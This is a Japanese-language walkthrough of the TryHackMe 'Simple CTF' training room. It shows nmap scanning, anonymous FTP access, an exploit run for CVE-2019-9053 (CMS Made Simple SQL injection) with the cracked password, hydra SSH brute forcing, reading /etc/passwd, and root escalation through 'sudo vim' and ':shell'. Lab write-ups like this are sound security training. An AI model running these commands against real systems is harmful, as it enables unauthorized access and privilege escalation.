TryHackMe SimpleCTF Write-up

## 概要
すごいねCTFってWrite-upって文化があるんだ。覚書程度にTryHackMeのSimpleCTFというroomの攻略方法を書いてく

##  How many services are running under port 1000?
```
nmap -v xxx.xxx.xxx

Host is up (0.26s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
2222/tcp open  EtherNetIP-1
```

でこういう結果が出てくるので答えは2

## What is running on the higher port?

nmapには以下のオプションがある

```
 -sV: Probe open ports to determine service/version info
  --version-intensity <level>: Set from 0 (light) to 9 (try all probes)
  --version-light: Limit to most likely probes (intensity 2)
  --version-all: Try every single probe (intensity 9)
  --version-trace: Show detailed version scan activity (for debugging)

 -A:  Enable OS detection, version detection, script scanning, and traceroute
```

```
nmap -sV -A xxx.xxx.xxx.xxx


PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.17.111.155
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 2 disallowed entries
|_/ /openemr-5_0_1_3
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

nmap一つでこんなに情報出るのか

というので2222にはsshが入ってました

## What's the CVE you're using against the application?

FTPが開いているので匿名でログインするとpub/ForMitch.txtというテキストファイルが存在したので中身を確認すると

```
Dammit man... you'te the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!
```

草

OpenSSH_7.2p2にUser enumerationの脆弱性があったので[ここ](https://gist.github.com/andripwn/05e7d40f88f2bd8ddde47841706dd539)あたりのツールを使って確認したところ

```
User name enumeration against SSH daemons affected by CVE-2016-6210
Created and coded by 0_o (nu11.nu11 [at] yahoo.com), PoC by Eddie Harari


[*] Testing SSHD at: 10.10.163.11:2222, Banner: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
[*] Getting baseline timing for authenticating non-existing users............
[*] Baseline mean for host 10.10.163.11 is 0.006475330000000013 seconds.
[*] Baseline variation for host 10.10.163.11 is 0.0001233320481464502 seconds.
[*] Defining timing of x < 0.006845326144439363 as non-existing user.
[*] Testing your users...
[-] mitch - timing: 0.006309500000000079
[-] root - timing: 0.006487899999999991
```

との結果が、rootがないとは思わないので脆弱性該当しないっぽいなーって気がする
ただこれでなんの脆弱性を利用するのかわからなくなった.

### 正答

gobusterと呼ばれるpathを見つけるツールを使うとsimpleというパスが隠されていることがわかる。
その中身を見るとSimple CMS version 2.8というCMSを使っていることがわかる。
こいつのバグで[SQL Injection](https://www.exploit-db.com/exploits/46635)があるらしい。そのため答えはCVE-2019-9053

実行コマンドは
```
python3 cmsmade.py -u http://10.10.94.42/simple --crack -w password

[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret
```

exploit dbはpython2で書かれていたのでpython3に書き直した。めんどい
またhintで


```
You can use /usr/share/seclists/Passwords/Common-Credentials/best110.txt to crack the pass
```
みたいなヒントがあるんだけど、どこだよこのファイルみたいになってしまった。
そのためpasswordlistは下に紹介したopenwallの一般パスワードリストを利用した


## To what kind of vulnerability is the application vulnerable?

上のがわからなかったため結局これもどういう種類の脆弱性かわからないまま。

### 正答

SQL Injectionなのだがなんか4文字指定になってた。sqliらしい。なんで

## What's the password? and What's the user flag?

上の二つが解けたら多分mitchのパスワードがわかるんだろうなと思いつつ、ftpに愚痴が書いてあった通り、普通に辞書攻撃で行けるんじゃね？となり

openwallからパスワードリストをとってきて、hydraで総当たりする

```
wget https://download.openwall.net/pub/wordlists/passwords/password.gz
unzip password.gz
hydra -L user.txt -P passwd.txt -s 2222 xxxx ssh
```
だとmitchのパスワードがsecretだということがわかるので
```
ssh -p 2222 mitch@10.10.94.42
```

でログイン可能

user.txt内にflagが見つかる

# Where can you login with the details obtained?

これ英語がよくわかってないのだけどどこで詳細情報を使ってログインした
って話なのでsshっぽい?いまいち理解できてない

## Is there any other user in the home directory? What's its name? 

```
cat /etc/passwd | grep /home

```
を実行するとmitch君以外のユーザーがわかる。sunbath君

## What can you leverage to spawn a privileged shell?

ここからマジでわからなかった

```
sudo -h
...

-l, --list                    list user's privileges or check a specific
                                command; use twice for longer format
```
知らんかったこんなのあるんやね。
ってやるとvimだけ登録されていることがわかる。

これ本当に知らなかったんだけど
```
sudo vim
```
でvimの画面に遷移した後`:shell`って打つと普通にroot権限とれるっぽくて怖い。
教えはどうなってんだ教えは！

これからやって/rootディレクトリに移るとflagが見える。


## 総評

面白いんだけど、はまるとなんぼでも時間が溶けちゃう。
Write-upがなかったらわからん問題結構あった。
なので自分もそれに貢献できるようドキュメントとしてまとめた。

### 参考資料

https://www.aldeid.com/wiki/TryHackMe-Simple-CTF